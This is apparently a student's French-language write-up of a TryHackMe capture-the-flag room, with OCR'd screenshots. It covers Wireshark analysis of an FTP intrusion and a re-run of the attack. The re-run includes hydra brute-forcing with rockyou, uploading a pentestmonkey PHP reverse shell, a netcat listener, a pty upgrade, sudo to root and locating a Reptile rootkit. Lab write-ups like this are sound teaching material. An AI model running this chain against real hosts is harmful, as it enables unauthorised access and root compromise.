Task 1 : 
2 / Service Utilisé : FTP
[image: ]

3 / Hydra, réponse trouvée à l’aide de l’indice 

4 / Il se log avec l’utilisateur Jenny (Paquet 128 par exemple) : 
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5 /Paquet 395 :  Mot de passe est : password123 : 
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6 / Suivre le flux TCP du Paquet 394 
La réponse est /var/www/html
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7 / Toujours au même endroit : shell.php 
[image: ]

8 / Dans Wireshark trouver le Protocol en FTP-DATA et suivre le flux TCP : trouver l’adresse pentestmonkey :
[image: ]

9 / Suivre le flux TCP , la commande est whoami : 
[image: ]

10 / Le nom de la machine est wir3 , marqué en haut de la même fenêtre : 
[image: ]
11 / Même fenêtre, on trouve la réponse toujours dans le même onglet : python3 -c 'import pty; pty.spawn("/bin/bash")'
[image: ]

12 / la commande est sudo su (Toujours sur le même onglet)
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13 / Il a téléchargé Reptile depuis github (réponse toujours sur le même onglet) : 
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14 / Je me suis aidé de l’indice ainsi que d’internet pour trouver la réponse : Rootkit 





Task 2 : 

1) Lancer HYDRA 
[image: ]

Récupérer le mot de passe avec hydra : hydra -l jenny -P /usr/share/wordlists/rockyou.txt ftp://10.10.141.178(utilisation de la wordlist rockyou)
On récupère le mot de passe qui est : 987654321

2) On se connecte en FTP sur la machine avec l’utilisateur jenny et le mdp 987654321 : 
[image: ]
Se rendre dans le fichier reverse-shell.php :
[image: ]
Et modifier l’IP ainsi que le port , puis enregistrer les modifications.

3) Se connecter en ftp sur la machine, et upload le shell.php 
[image: ]

A Partir de là, je me suis aidé d’internet et d’un Walkthrough 


4) Exécuter la commande sudo nc -lnvp 80
Ensuite, aller sur la page web en tapant l’ip dans le navigateur 
[image: ]

Si j’ai bien compris, il faut se rendre sur la page web : @IP/shell.php , on devrait récupérer le reverseshell sur netcat.

Exécuter la commande : put php-reverse-shell.php sur la session ftp du pc de jenny 

Puis : chmod 777 php-reverse-shell.php afin de changer les permissions 


5) Exécuter la commande nc -lnvp 1234, en rentrant le numéro de port renseigné dans le fichier au préalable.

Aller sur la page web : http://@IP/php-reverse-shell.php

Retourner sur le netcat voir si on a un reverse shell

Exécuter la commande : python3 -c 'import pty;pty.spawn("/bin/bash")'
(Je n’ai pas très bien compris à quoi servait cette commande)


On sait que l’utilisateur Jenny a les droit SuperUser , donc on se connecte en faisant : su jenny
Toujours le même mot de passe : 987654321

Il faut trouver le directory Reptile , car on sait que le fichier flag.txt s’y trouve : find / -type d -name Reptile 2> /dev/null

On devrait avoir le résultat suivant : /root/Reptile

Aller donc dans le flag.txt : cat flag.txt afin d’y trouver la dernière réponse de la TASK 2
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// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net

/7

// Description

/-
// This script will make an outbound TCP connection to a hardcoded IP and port.

// The recipient will be given a shell running as the current user (apache normally).
/7

// Limitations

il =

// proc_open and stream_set_blocking require PHP version 4.3+, or 5+

// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pentl, posix). These are rarely available.

/7

// Usage

get stuck.
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jenny  ttyl = 20:06 37.00s 1.0¢
uid=33(www-data) gid=33(wwu-data) groups=33(wmw-data)
/bin/sh: @: can't access tty; job control turned off

$ whoami

www-data
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Linux wir3 4.15.0-135-generic #139-Ut
22:26:54 up 2:21, 1 user, load a\
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Irwxrwxrwx 1 root root 30 Jul 25 2018 vmlinuz.o
$ python3 -c 'import pty; pty.spaun("/bin/bash")’
wii-data@uir3:/$ su jenny

| ]
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User jenny may run the following commands on wir3:
(ALL : ALL) ALL

Jenny@wir3:/$ sudo su

sudo su
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~# git clone htt

/github.con/ferbldd3n/Reptile.git
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root@ip-10-10-214-5:~# ftp 10.10.141.178
Connected to 10.10.141.178.

220 Hello FTP World!

Name (10.16.141.178:root): jenny

331 Please specify the password.
Password:

230 Login successful.

Remote system type is UNIX.

Using binary mode to transfer files.
ftp> I




image14.png
GNU nano 2
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ftp> put shell.php

local: shell.php remote: shell.php

200 PORT command successful. Consider using PASV.
150 Ok to send data.

226 Transfer complete.

5493 bytes sent in 0.80 secs (127.7691 MB/s)
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TryHackMe Support # Offline CyberChef (@ GitHub - swisskyrepo/... @ Reverse Shell Cheat s..

Apache2 Ubuntu Default Page
ybuntu

This is the default welcome page used to test the correct operation of the Apache2 server after
installation on Ubuntu systems. It is based on the equivalent page on Debian, from which the Ubuntu
Apache packaging is derived. If you can read this page, it means that the Apache HTTP server installed
at this site is working properly. You should replace this file (located at /var/www/html/index. html)
before continuing to operate your HTTP server.

If you are a normal user of this web site and don't know what this page is about, this probably means.
that the site is currently unavailable due to maintenance. If the problem persists, please contact the

B
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49 0.029836461  192.168.0.115 192.168.0.147 FTP 88 Response: 220 Hello FTP World!
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81 0.354319120  192.168.0.147 192.168.0.115 ~OFTP 78 Request: USER jenny
82 0.354470850  192.168.0.147 192.168.0.115 FTP. 78 Request: USER jenny
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394 13.968715114 192.168.0.147 192.168.0.115 FTP 84Request: PASS password123

395 14.002582310 192.168.0.115 192.168.0.147 FTP 89 Response: 230 Login successful.
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|
257 "/var/wi/html" is the current directory
PORT 192,168,0,147,225,49

200 PORT command successful. Consider using PASV.
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STOR shell.php
150 Ok to send data.
226 Transfer complete.

SITE CHNOD 777 shell.php





